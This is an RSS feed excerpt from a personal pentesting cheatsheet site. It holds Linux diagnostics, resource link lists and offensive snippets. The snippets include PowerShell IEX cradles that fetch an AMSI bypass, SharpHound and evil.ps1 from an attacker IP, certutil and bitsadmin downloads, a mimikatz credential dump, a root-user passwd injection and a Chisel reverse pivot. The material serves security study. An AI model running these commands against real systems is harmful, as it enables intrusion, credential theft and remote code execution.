</span></span></code></pre></div><hr>
<h1 id="memory-usage-summary">Memory usage summary</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>free
</span></span></code></pre></div><hr>
<h1 id="simple-network-latency-but-from-kernel-to-kernel-including-stack">Simple network latency but from kernel to kernel, including stack</h1>
<pre tabindex="0"><code>ping
</code></pre><hr>
<h1 id="network-statistics-tools-check-utilization-and-saturation-columns-last-2">Network statistics tools. Check Utilization and Saturation columns (last 2)</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>wget ftp://ftp.pbone.net/mirror/ftp5.gwdg.de/pub/opensuse/repositories/home:/cwx_holle/RedHat_RHEL-6/i686/nicstat-1.92-2.1.i686.rpm
</span></span><span style="display:flex;"><span>yum install nicstat-1.92-2.1.i686.rpm
</span></span><span style="display:flex;"><span>nicstat -z 1
</span></span></code></pre></div><hr>
<h1 id="system-activity-reporter">System Activity reporter</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>sar 1
</span></span><span style="display:flex;"><span>sar -B 1
</span></span></code></pre></div><hr>
<h1 id="various-network-protocol-statistics">Various network protocol statistics</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>netstat -s
</span></span></code></pre></div><hr>
<h1 id="who-is-consuming-cpu">who is consuming CPU</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>pidstat 1
</span></span></code></pre></div><hr>
<h1 id="pidstat-to-identify-which-application-is-writing-to-disk-it-includes-kernel-threads-with--d">Pidstat to identify which application is writing to disk. It includes kernel threads with -d</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>pidstat -d 1
</span></span></code></pre></div><hr>
<h1 id="system-call-tracer">System call tracer</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>strace -tttT -p PID
</span></span><span style="display:flex;"><span>strace -s 2000 -f -p PID =&gt; With lsof you can tell what are the file descriptors
</span></span></code></pre></div><p>Get statistics for each system call excecuted, this is useful to compare a process
that is working good vs a process that is not working right</p></description></item><item><title>(Simple) Buffer Overflow (32 bits, NO ASLR and NO DEP)</title><link>https://onikenaz.ovh/cheatsheets/hacking/memory_exploitation/simple_buffer_overflow/</link><pubDate>Fri, 03 Oct 2025 00:00:00 +0000</pubDate><guid>https://onikenaz.ovh/cheatsheets/hacking/memory_exploitation/simple_buffer_overflow/</guid><description><ul>
<li>0 - Crash the application</li>
<li>1 - Fuzzing (find aprox number of bytes where the crash took place)</li>
<li>2 - Find offset</li>
<li>3 - EIP control</li>
<li>4 - Check for enough space on buffer</li>
<li>5 - Badchars counting</li>
<li>6 - Find return address (JMP ESP)</li>
<li>7 - Create payload</li>
</ul>
<hr>
<h1 id="fuzzing-example-with-vulnserver--spike-on-trun-command">Fuzzing: example with vulnserver + spike on TRUN command</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>cat &gt; trun.spk &lt;&lt;EOF
</span></span><span style="display:flex;"><span>s_readline();
</span></span><span style="display:flex;"><span>s_string(&#34;TRUN &#34;);
</span></span><span style="display:flex;"><span>s_string_variable(&#34;COMMAND&#34;);
</span></span><span style="display:flex;"><span>EOF
</span></span></code></pre></div><p>Now, start wireshark filtering on the target IP/PORT below and run the <code>trun.spk</code>:</p></description></item><item><title>AMSI</title><link>https://onikenaz.ovh/cheatsheets/hacking/antivirus_bypassing/amsi/</link><pubDate>Fri, 03 Oct 2025 00:00:00 +0000</pubDate><guid>https://onikenaz.ovh/cheatsheets/hacking/antivirus_bypassing/amsi/</guid><description><p>AMSI (Anti-Malware Scan Interface), in short sit&rsquo;s between Powershell and Defender, so even if our crafted malware/tools have an AV Bypass, it still can be flagged by AMSI (annoying!), AMSI can also be leveraged for example for EDR&rsquo;s. There are certain ways to bypass AMSI, for example forcing it to fail.</p>
<hr></description></item><item><title>BloodHound</title><link>https://onikenaz.ovh/cheatsheets/hacking/active_directory/bloodhound/</link><pubDate>Fri, 03 Oct 2025 00:00:00 +0000</pubDate><guid>https://onikenaz.ovh/cheatsheets/hacking/active_directory/bloodhound/</guid><description><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>$attacker=<span style="color:#e6db74">&#34;192.168.42.37&#34;</span>;$domain=<span style="color:#e6db74">&#34;example.com&#34;</span>;IEX(New-Object Net.Webclient).downloadString(<span style="color:#e6db74">&#34;http://</span>$attacker<span style="color:#e6db74">/4msibyp455.ps1&#34;</span>);IEX(New-Object Net.Webclient).downloadString(<span style="color:#e6db74">&#34;http://</span>$attacker<span style="color:#e6db74">/SharpHound.ps1&#34;</span>);Invoke-BloodHound -CollectionMethod All,GPOLocalGroup,LoggedOn -Domain $domain
</span></span></code></pre></div><hr></description></item><item><title>Brute Force</title><link>https://onikenaz.ovh/resources/tools/brute_force/</link><pubDate>Fri, 03 Oct 2025 00:00:00 +0000</pubDate><guid>https://onikenaz.ovh/resources/tools/brute_force/</guid><description><ul>
<li><a href="https://github.com/Coalfire-Research/npk">https://github.com/Coalfire-Research/npk</a> <strong>&lt;&mdash;&mdash; Distributed hash-cracking platform on serverless AWS componentes</strong></li>
<li><a href="https://hashcat.net/wiki/doku.php?id=example_hashes">https://hashcat.net/wiki/doku.php?id=example_hashes</a></li>
<li><a href="https://github.com/danielmiessler/SecLists">https://github.com/danielmiessler/SecLists</a></li>
<li><a href="https://github.com/rapid7/ssh-badkeys">https://github.com/rapid7/ssh-badkeys</a></li>
<li><a href="https://crackstation.net/">https://crackstation.net/</a></li>
</ul>
<hr></description></item><item><title>Buffer Overflows</title><link>https://onikenaz.ovh/resources/exploit_development/buffer_overflows/</link><pubDate>Fri, 03 Oct 2025 00:00:00 +0000</pubDate><guid>https://onikenaz.ovh/resources/exploit_development/buffer_overflows/</guid><description><ul>
<li><a href="https://github.com/justinsteven/dostackbufferoverflowgood">https://github.com/justinsteven/dostackbufferoverflowgood</a></li>
<li><a href="https://github.com/stephenbradshaw/vulnserver">https://github.com/stephenbradshaw/vulnserver</a></li>
<li><a href="https://www.vulnhub.com/entry/brainpan-1,51/">https://www.vulnhub.com/entry/brainpan-1,51/</a></li>
<li><a href="https://exploit.education/phoenix/">https://exploit.education/phoenix/</a></li>
<li><a href="https://www.youtube.com/watch?v=1S0aBV-Waeo">https://www.youtube.com/watch?v=1S0aBV-Waeo</a></li>
</ul>
<hr></description></item><item><title>Bug Bounty & Web Security</title><link>https://onikenaz.ovh/resources/general_hacking/bug_bounty_web_sec/</link><pubDate>Fri, 03 Oct 2025 00:00:00 +0000</pubDate><guid>https://onikenaz.ovh/resources/general_hacking/bug_bounty_web_sec/</guid><description><ul>
<li><a href="https://owasp.org/www-project-top-ten/">https://owasp.org/www-project-top-ten/</a></li>
<li><a href="https://www.hackerone.com/blog/Guide-Subdomain-Takeovers">https://www.hackerone.com/blog/Guide-Subdomain-Takeovers</a></li>
<li><a href="https://0xpatrik.com/subdomain-takeover-ns/">https://0xpatrik.com/subdomain-takeover-ns/</a></li>
<li><a href="https://github.com/OWASP/wstg">https://github.com/OWASP/wstg</a></li>
<li><a href="https://github.com/swisskyrepo/PayloadsAllTheThings/">https://github.com/swisskyrepo/PayloadsAllTheThings/</a></li>
<li><a href="https://tomnomnom.com/talks/bug-bounties-with-bash-virsec.pdf">https://tomnomnom.com/talks/bug-bounties-with-bash-virsec.pdf</a></li>
<li><a href="https://docs.google.com/presentation/d/1DAQ47VjIaQZ88Ly00eGPQupq79hAF9AAZstV7OVCY_8">https://docs.google.com/presentation/d/1DAQ47VjIaQZ88Ly00eGPQupq79hAF9AAZstV7OVCY_8</a></li>
<li><a href="https://github.com/ngalongc/bug-bounty-reference">https://github.com/ngalongc/bug-bounty-reference</a></li>
<li><a href="https://gowsundar.gitbook.io/book-of-bugbounty-tips">https://gowsundar.gitbook.io/book-of-bugbounty-tips</a></li>
<li><a href="https://github.com/jdonsec/AllThingsSSRF">https://github.com/jdonsec/AllThingsSSRF</a></li>
<li><a href="https://github.com/jdonsec/AllThingsXXE">https://github.com/jdonsec/AllThingsXXE</a></li>
<li><a href="https://xsleaks.com/">https://xsleaks.com/</a></li>
<li><a href="https://www.reddit.com/r/bugbounty/comments/983odf/how_to_become_a_bug_bounty_hunter/">https://www.reddit.com/r/bugbounty/comments/983odf/how_to_become_a_bug_bounty_hunter/</a></li>
<li><a href="https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/">https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/</a></li>
<li><a href="https://blog.usejournal.com/bug-hunting-methodology-part-1-91295b2d2066">https://blog.usejournal.com/bug-hunting-methodology-part-1-91295b2d2066</a> **&lt;&mdash;&mdash; Serie of 3 post about Bug Hunting Methodology **</li>
<li><a href="https://github.com/ngalongc/bug-bounty-reference">https://github.com/ngalongc/bug-bounty-reference</a></li>
<li><a href="https://pentester.land/list-of-bug-bounty-writeups.html">https://pentester.land/list-of-bug-bounty-writeups.html</a></li>
<li><a href="https://twitter.com/FaniMalikHack/status/1355145481479999488">https://twitter.com/FaniMalikHack/status/1355145481479999488</a> **&lt;&mdash;&mdash; Tweet by @FaniMalikHack with an infographic about JWT **</li>
</ul>
<hr></description></item><item><title>Cheatshees/Aricles/Podcasts</title><link>https://onikenaz.ovh/resources/general_hacking/cheatsheets_articles_podcats/</link><pubDate>Fri, 03 Oct 2025 00:00:00 +0000</pubDate><guid>https://onikenaz.ovh/resources/general_hacking/cheatsheets_articles_podcats/</guid><description><ul>
<li><a href="https://github.com/chvancooten/OSEP-Code-Snippets">https://github.com/chvancooten/OSEP-Code-Snippets</a> <strong>&lt;&mdash;- OSEP Code Snippets!</strong></li>
<li><a href="https://github.com/tagnullde/OSCP/blob/master/oscp-cheatsheet.md">https://github.com/tagnullde/OSCP/blob/master/oscp-cheatsheet.md</a></li>
<li><a href="https://thedarksource.com/msfvenom-cheat-sheet-create-metasploit-payloads">https://thedarksource.com/msfvenom-cheat-sheet-create-metasploit-payloads</a></li>
<li><a href="https://redtm.com/docs/web-pentest/2021-01-12-web-penetration-testing-task-check-list/">https://redtm.com/docs/web-pentest/2021-01-12-web-penetration-testing-task-check-list/</a></li>
<li><a href="https://github.com/Optixal/OSCP-PWK-Notes-Public/">https://github.com/Optixal/OSCP-PWK-Notes-Public/</a></li>
<li><a href="https://epi052.gitlab.io/notes-to-self/blog/2021-06-16-windows-usermode-exploit-development-review/">https://epi052.gitlab.io/notes-to-self/blog/2021-06-16-windows-usermode-exploit-development-review/</a></li>
<li><a href="https://github.com/OlivierLaflamme/Cheatsheet-God/">https://github.com/OlivierLaflamme/Cheatsheet-God/</a></li>
<li><a href="https://github.com/sinfulz/JustTryHarder/">https://github.com/sinfulz/JustTryHarder/</a></li>
<li><a href="https://github.com/0x4D31/awesome-oscp">https://github.com/0x4D31/awesome-oscp</a></li>
<li><a href="https://github.com/xapax/security">https://github.com/xapax/security</a></li>
<li><a href="https://book.hacktricks.xyz/">https://book.hacktricks.xyz/</a></li>
<li><a href="https://0xdf.gitlab.io/2018/12/02/pwk-notes-smb-enumeration-checklist-update1.html">https://0xdf.gitlab.io/2018/12/02/pwk-notes-smb-enumeration-checklist-update1.html</a></li>
<li><a href="https://www.netsecfocus.com/oscp/2019/03/29/The_Journey_to_Try_Harder-_TJNulls_Preparation_Guide_for_PWK_OSCP.html">https://www.netsecfocus.com/oscp/2019/03/29/The_Journey_to_Try_Harder-_TJNulls_Preparation_Guide_for_PWK_OSCP.html</a></li>
<li><a href="https://github.com/Hack-with-Github/Awesome-Hacking">https://github.com/Hack-with-Github/Awesome-Hacking</a></li>
<li><a href="https://jhalon.github.io/becoming-a-pentester/">https://jhalon.github.io/becoming-a-pentester/</a></li>
<li><a href="https://www.inteltechniques.com/podcast.html">https://www.inteltechniques.com/podcast.html</a></li>
<li><a href="https://darknetdiaries.com/">https://darknetdiaries.com/</a></li>
<li><a href="https://lobuhisec.medium.com/kubernetes-pentest-recon-checklist-tools-and-resources-30d8e4b69463">https://lobuhisec.medium.com/kubernetes-pentest-recon-checklist-tools-and-resources-30d8e4b69463</a></li>
</ul>
<hr></description></item><item><title>Chisel</title><link>https://onikenaz.ovh/cheatsheets/hacking/pivoting/chisel/</link><pubDate>Fri, 03 Oct 2025 00:00:00 +0000</pubDate><guid>https://onikenaz.ovh/cheatsheets/hacking/pivoting/chisel/</guid><description><p>If we have Chisel with remote port forward from machine in the net:</p>
<p>On attacker machine I start up a chisel reverse server on port 9050 (imagine this machine IP is 192.168.90.90)</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>server -p 9050 --reverse
</span></span></code></pre></div><p>On compromised machine in the network I start a client connection against the server running in the attacker.
The command below will be forwarding the traffic from port 8081 in the machine 172.16.42.90 throughout the compromised machine (via localhost in port 5050) to the attacker.</p></description></item><item><title>Cloud</title><link>https://onikenaz.ovh/resources/labs/cloud/</link><pubDate>Fri, 03 Oct 2025 00:00:00 +0000</pubDate><guid>https://onikenaz.ovh/resources/labs/cloud/</guid><description><ul>
<li><a href="https://github.com/nccgroup/sadcloud">https://github.com/nccgroup/sadcloud</a></li>
<li><a href="https://github.com/ine-labs/AWSGoat">https://github.com/ine-labs/AWSGoat</a></li>
<li><a href="https://github.com/ine-labs/AzureGoat">https://github.com/ine-labs/AzureGoat</a></li>
<li><a href="https://github.com/ine-labs/GCPGoat">https://github.com/ine-labs/GCPGoat</a></li>
</ul>
<hr></description></item><item><title>Compiling</title><link>https://onikenaz.ovh/cheatsheets/hacking/good_to_know/compiling/</link><pubDate>Fri, 03 Oct 2025 00:00:00 +0000</pubDate><guid>https://onikenaz.ovh/cheatsheets/hacking/good_to_know/compiling/</guid><description><h1 id="arch-cross-compile-exploit-and-diff-glibc-version">Arch cross compile exploit (and diff glibc version)</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>gcc -m32 -Wall -Wl,--hash-style=both -o gimme.o gimme.c
</span></span></code></pre></div><hr></description></item><item><title>Compiling</title><link>https://onikenaz.ovh/resources/exploit_development/compiling/</link><pubDate>Fri, 03 Oct 2025 00:00:00 +0000</pubDate><guid>https://onikenaz.ovh/resources/exploit_development/compiling/</guid><description><ul>
<li><a href="https://stackoverflow.com/questions/4032373/linking-against-an-old-version-of-libc-to-provide-greater-application-coverage">https://stackoverflow.com/questions/4032373/linking-against-an-old-version-of-libc-to-provide-greater-application-coverage</a></li>
<li><a href="https://www.lordaro.co.uk/posts/2018-08-26-compiling-glibc.html">https://www.lordaro.co.uk/posts/2018-08-26-compiling-glibc.html</a></li>
<li><a href="https://www.offensive-security.com/metasploit-unleashed/alphanumeric-shellcode/">https://www.offensive-security.com/metasploit-unleashed/alphanumeric-shellcode/</a></li>
</ul>
<hr></description></item><item><title>Exploitation</title><link>https://onikenaz.ovh/cheatsheets/hacking/active_directory/exploitation/</link><pubDate>Fri, 03 Oct 2025 00:00:00 +0000</pubDate><guid>https://onikenaz.ovh/cheatsheets/hacking/active_directory/exploitation/</guid><description><h1 id="list-all-available-credentials-cached-hashes-and-passwords-logged-on-user-and-computer">List all available credentials cached (Hashes and Passwords; Logged on user and computer)</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>mimikatz.exe &#34;sekurlsa::logonpasswords&#34; exit
</span></span></code></pre></div><hr>
<h1 id="convert-to-ccache">Convert to ccache</h1>
<p>We can use the tool <code>ticket_converter</code> written by <code>zer1t0</code> for converting kirbi tickets to ccache and viceversa:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>Convert from b64 encoded blob to kirbi:
</span></span><span style="display:flex;"><span> [IO.File]::WriteAllBytes(&#34;C:\fullpathtoticket.kirbi&#34;, [Convert]::FromBase64String(&#34;aa…&#34;))
</span></span><span style="display:flex;"><span>Convert the .kiribi to .ccache:
</span></span><span style="display:flex;"><span> python ticket_converter.py ticket.ccache ticket.kirbi
</span></span><span style="display:flex;"><span>Copy the ccache to our attacker machine and export the KRB5CCNAME variable:
</span></span><span style="display:flex;"><span> export KRB5CCNAME=/path/to/ticket.ccache
</span></span></code></pre></div><hr>
<h1 id="genericall">GenericAll</h1>
<p>_TODO</p></description></item><item><title>FTP</title><link>https://onikenaz.ovh/cheatsheets/hacking/exfiltration/ftp/</link><pubDate>Fri, 03 Oct 2025 00:00:00 +0000</pubDate><guid>https://onikenaz.ovh/cheatsheets/hacking/exfiltration/ftp/</guid><description><p>If there is an ftp server which we have access, we can upload files there through it, the &quot;&quot; is the same for both, windows or linux:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>Connect and login with:
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span>ftp 192.168.42.42
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span>Upload the files with:
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span>put evil.py
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span>Sometimes is needed to enter in passive mode before doing anything, if is the case, just type:
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span>pass
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span>followed by enter
</span></span></code></pre></div><hr></description></item><item><title>General</title><link>https://onikenaz.ovh/resources/labs/general/</link><pubDate>Fri, 03 Oct 2025 00:00:00 +0000</pubDate><guid>https://onikenaz.ovh/resources/labs/general/</guid><description><h1 id="general-hackingctf">General Hacking/CTF</h1>
<ul>
<li><a href="https://hackthebox.eu/">https://hackthebox.eu/</a></li>
<li><a href="https://www.vulnhub.com/">https://www.vulnhub.com/</a></li>
</ul>
<hr>
<h1 id="kubernetes">Kubernetes</h1>
<ul>
<li><a href="https://github.com/madhuakula/kubernetes-goat">https://github.com/madhuakula/kubernetes-goat</a></li>
</ul>
<hr>
<h1 id="web">Web</h1>
<ul>
<li><a href="https://github.com/OWASP/NodeGoat">https://github.com/OWASP/NodeGoat</a></li>
<li><a href="https://owasp.org/www-project-juice-shop/">https://owasp.org/www-project-juice-shop/</a></li>
<li><a href="https://portswigger.net/web-security">https://portswigger.net/web-security</a></li>
</ul>
<hr></description></item><item><title>General</title><link>https://onikenaz.ovh/resources/red_team/general/</link><pubDate>Fri, 03 Oct 2025 00:00:00 +0000</pubDate><guid>https://onikenaz.ovh/resources/red_team/general/</guid><description><ul>
<li><a href="https://3xpl01tc0d3r.blogspot.com/2021/07/resource-based-constrained-delegation.html?m=1">https://3xpl01tc0d3r.blogspot.com/2021/07/resource-based-constrained-delegation.html?m=1</a> <strong>&lt;&ndash; Resource Based Constrained Delegation IN LINUX</strong></li>
<li><a href="https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/">https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/</a></li>
<li><a href="https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki">https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki</a></li>
<li><a href="https://pentestbook.six2dez.com/post-exploitation/windows/ad/kerberos-attacks">https://pentestbook.six2dez.com/post-exploitation/windows/ad/kerberos-attacks</a></li>
<li><a href="https://www.ired.team/">https://www.ired.team/</a></li>
<li><a href="https://www.harmj0y.net/blog/">https://www.harmj0y.net/blog/</a> **&lt;&mdash;&mdash; Awesome Active Directory Posts **</li>
<li><a href="https://malicious.link/post/2016/kerberoast-pt1/">https://malicious.link/post/2016/kerberoast-pt1/</a> <strong>&lt;&mdash;&mdash; Serie about Kerberoasting (5 posts)</strong></li>
<li><a href="https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet">https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet</a></li>
<li><a href="https://www.guidepointsecurity.com/blog/delegating-like-a-boss-abusing-kerberos-delegation-in-active-directory/">https://www.guidepointsecurity.com/blog/delegating-like-a-boss-abusing-kerberos-delegation-in-active-directory/</a> <strong>&lt;&ndash; Abuse Constrained Delegation</strong></li>
<li><a href="https://twitter.com/cube0x0/status/1468860246307258370?s=21">https://twitter.com/cube0x0/status/1468860246307258370?s=21</a></li>
<li><a href="https://github.com/S1ckB0y1337/Cobalt-Strike-CheatSheet">https://github.com/S1ckB0y1337/Cobalt-Strike-CheatSheet</a></li>
</ul>
<hr></description></item><item><title>HTTP</title><link>https://onikenaz.ovh/cheatsheets/hacking/exfiltration/http/</link><pubDate>Fri, 03 Oct 2025 00:00:00 +0000</pubDate><guid>https://onikenaz.ovh/cheatsheets/hacking/exfiltration/http/</guid><description><p>From your local attacker machine, create a http server with:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>sudo python3 -m http.server 80
</span></span><span style="display:flex;"><span>sudo python2 -m SimpleHTTPServer 80
</span></span></code></pre></div><p>It&rsquo;s also possible to specify which path to share, for example:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>sudo python3 -m http.server 80 --dir /home/kali/tools
</span></span></code></pre></div><hr>
<h1 id="windows">Windows</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>iex(new-object net.webclient).downloadstring(&#34;http://192.168.42.42/evil.ps1)
</span></span><span style="display:flex;"><span>IWR -Uri &#34;http://192.168.42.42/n64.exe&#34; -Outfile &#34;n64.exe&#34;
</span></span><span style="display:flex;"><span>certutil.exe -urlcache -split -f &#34;http://192.168.42.42/nc.exe&#34; nc.exe
</span></span><span style="display:flex;"><span>wmic process get brief /format:&#34;http://192.168.42.42/evilexcel.xsl
</span></span><span style="display:flex;"><span>bitsadmin /Transfer myDownload http://192.168.42.42/evilfile.txt C:\Windows\Temp\evilfile.txt
</span></span></code></pre></div><hr>
<h1 id="linux">Linux</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>curl http://192.168.42.42/evil.php --output evil.php
</span></span></code></pre></div><hr></description></item><item><title>Linux</title><link>https://onikenaz.ovh/cheatsheets/hacking/privilege_escalation/linux/</link><pubDate>Fri, 03 Oct 2025 00:00:00 +0000</pubDate><guid>https://onikenaz.ovh/cheatsheets/hacking/privilege_escalation/linux/</guid><description><h1 id="homeuseropenssl-ep-empty-capabilities">/home/user/openssl =ep (empty capabilities)</h1>
<p>Make 2 copies of passwd, one as backup of the original, and one that will be used as custom:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>cp /etc/passwd /tmp/passwd.orig
</span></span><span style="display:flex;"><span>cp /etc/passwd /tmp/passwd.custom
</span></span></code></pre></div><p>Now, a custom user will be created and added to <code>/tmp/passwd.custom</code> with <code>customPassword</code> and as root user (UID = GID = 0):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>echo &#39;ceso:&#39;&#34;$( openssl passwd -6 -salt xyz customPassword )&#34;&#39;:0:0::/tmp:/bin/bash&#39; &gt;&gt; /tmp/passwd.custom
</span></span></code></pre></div><p>Now, create a custom <code>key.pem</code> and <code>cert.pem</code> with openssl:</p></description></item><item><title>Linux</title><link>https://onikenaz.ovh/resources/books/linux/</link><pubDate>Fri, 03 Oct 2025 00:00:00 +0000</pubDate><guid>https://onikenaz.ovh/resources/books/linux/</guid><description><ul>
<li><a href="https://www.amazon.com/How-Linux-Works-2nd-Superuser/dp/1593275676/">https://www.amazon.com/How-Linux-Works-2nd-Superuser/dp/1593275676/</a></li>
</ul>
<hr></description></item><item><title>Linux</title><link>https://onikenaz.ovh/resources/operating_systems/linux/</link><pubDate>Fri, 03 Oct 2025 00:00:00 +0000</pubDate><guid>https://onikenaz.ovh/resources/operating_systems/linux/</guid><description><h1 id="general">General</h1>
<ul>
<li><a href="https://www.linuxfromscratch.org/">https://www.linuxfromscratch.org/</a></li>
<li><a href="http://devo.ps/blog/2013/03/06/troubleshooting-5minutes-on-a-yet-unknown-box.html">http://devo.ps/blog/2013/03/06/troubleshooting-5minutes-on-a-yet-unknown-box.html</a></li>
<li><a href="http://dtrace.org/blogs/brendan/2012/03/07/the-use-method-linux-performance-checklist/">http://dtrace.org/blogs/brendan/2012/03/07/the-use-method-linux-performance-checklist/</a></li>
<li><a href="http://dtrace.org/blogs/brendan/2012/12/19/the-use-method-smartos-performance-checklist/">http://dtrace.org/blogs/brendan/2012/12/19/the-use-method-smartos-performance-checklist/</a></li>
<li><a href="http://www.pathname.com/fhs/pub/fhs-2.3.html">http://www.pathname.com/fhs/pub/fhs-2.3.html</a></li>
<li><a href="http://www.linusakesson.net/programming/tty/">http://www.linusakesson.net/programming/tty/</a></li>
<li><a href="http://pentestmonkey.net/blog/post-exploitation-without-a-tty">http://pentestmonkey.net/blog/post-exploitation-without-a-tty</a></li>
</ul>
<hr>
<h1 id="networking">Networking</h1>
<ul>
<li><a href="http://linux-ip.net/html/index.html">http://linux-ip.net/html/index.html</a></li>
<li><a href="https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/6/html/security_guide/sect-security_guide-iptables">https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/6/html/security_guide/sect-security_guide-iptables</a></li>
</ul>
<hr>
<h1 id="privilege-escalation">Privilege Escalation</h1>
<ul>
<li><a href="https://gtfobins.github.io/">https://gtfobins.github.io/</a></li>
<li><a href="https://book.hacktricks.xyz/linux-unix/privilege-escalation">https://book.hacktricks.xyz/linux-unix/privilege-escalation</a></li>
<li><a href="https://guif.re/linuxeop">https://guif.re/linuxeop</a></li>
<li><a href="https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/">https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/</a></li>
<li><a href="https://www.win.tue.nl/~aeb/linux/hh/hh-8.html">https://www.win.tue.nl/~aeb/linux/hh/hh-8.html</a></li>
<li><a href="http://www.dankalia.com/tutor/01005/0100501004.htm">http://www.dankalia.com/tutor/01005/0100501004.htm</a></li>
<li><a href="https://blog.ikuamike.io/posts/2021/package_managers_privesc/">https://blog.ikuamike.io/posts/2021/package_managers_privesc/</a></li>
</ul>
<hr></description></item><item><title>Login through CIFS/WinRM/PSSession</title><link>https://onikenaz.ovh/cheatsheets/hacking/enumeration/login_cifs_winrm_pssesion/</link><pubDate>Fri, 03 Oct 2025 00:00:00 +0000</pubDate><guid>https://onikenaz.ovh/cheatsheets/hacking/enumeration/login_cifs_winrm_pssesion/</guid><description><p>When injecting a ticket and impersonating a user, we can swap <code>CIFS</code> for <code>HTTP</code> for getting a shell via WinRM or swap <code>CIFS</code> for <code>HOST</code> for getting a shell via PsExec!!!</p>
<hr>
